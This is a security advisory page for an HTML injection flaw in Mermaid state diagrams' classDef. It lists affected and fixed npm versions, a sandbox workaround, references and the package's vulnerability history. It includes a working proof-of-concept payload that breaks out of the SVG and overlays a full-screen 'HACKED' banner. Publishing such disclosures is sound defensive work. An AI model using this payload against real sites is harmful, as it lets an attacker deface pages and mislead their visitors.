Mermaid: Improper sanitization of `classDef` in state diagrams leads to HTML injection
Impact
Under the default configuration, Mermaid state diagram's classDef allow DOM injection that escapes the SVG, although <script> tags are removed, preventing XSS.
Proof-of-concept
stateDiagram-v2
classDef xss fill:red</style></svg><style>*{x:x;y:y;overflow:visible!important;contain:none!important;transform:none!important;filter:none!important;clip-path:none!important}</style><div style="x:x;y:y;color:red;font:5em/1 monospace;display:grid;place-items:center;z-index:2147483647;width:100vw;height:100vh;position:fixed;top:0;left:0;background:black">HACKED</div><svg><style>a:b
[*] --> A:::xssPatches
- v11.15.0 (see 37ff937f1da2e19f882fd1db01235db4d01f4056)
- v10.9.6 (see 4e2d512bf5bf6f9de1a8f0a48da78dc4d09ac4f3)
Workarounds
If you can not update to a patched version, setting "securityLevel": "sandbox" will prevent this, by rendering the mermaid diagram in a sandboxed <iframe>.
Credits
Thanks to @zsxsoft from @KeenSecurityLab for reporting this vulnerability.
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | mermaid | >= 11.0.0-alpha.1, < 11.15.0, < 10.9.6 | 11.15.0, 10.9.6 |
References
- https://github.com/mermaid-js/mermaid/security/advisories/GHSA-ghcm-xqfw-q4vr
- https://nvd.nist.gov/vuln/detail/CVE-2026-41149
- https://github.com/mermaid-js/mermaid/commit/37ff937f1da2e19f882fd1db01235db4d01f4056
- https://github.com/mermaid-js/mermaid/commit/4e2d512bf5bf6f9de1a8f0a48da78dc4d09ac4f3
- https://github.com/mermaid-js/mermaid
- https://github.com/mermaid-js/mermaid/releases/tag/mermaid%4011.15.0
- https://github.com/mermaid-js/mermaid/releases/tag/v10.9.6
- https://mermaid.js.org/config/schema-docs/config.html#securitylevel
- CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:L/SI:L/SA:L- Weakness (CWE)
CWE-94- Platform
- npm
- Package
mermaid- Disclosed
- 11.05.2026
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-ghcm-xqfw-q4vr - CC BY 4.0
Vulnerability history: mermaid
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 16
- First → latest
- 09.2020 08.2026
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- High 3
- Medium 12
- Low 1
Disclosures per year
- 2020: 1
- 2021: 1
- 2022: 2
- 2023: 0
- 2024: 1
- 2025: 2
- 2026: 9
-
Mermaid: Improper sanitization of `classDef` in state diagrams leads to HTML injection this entry
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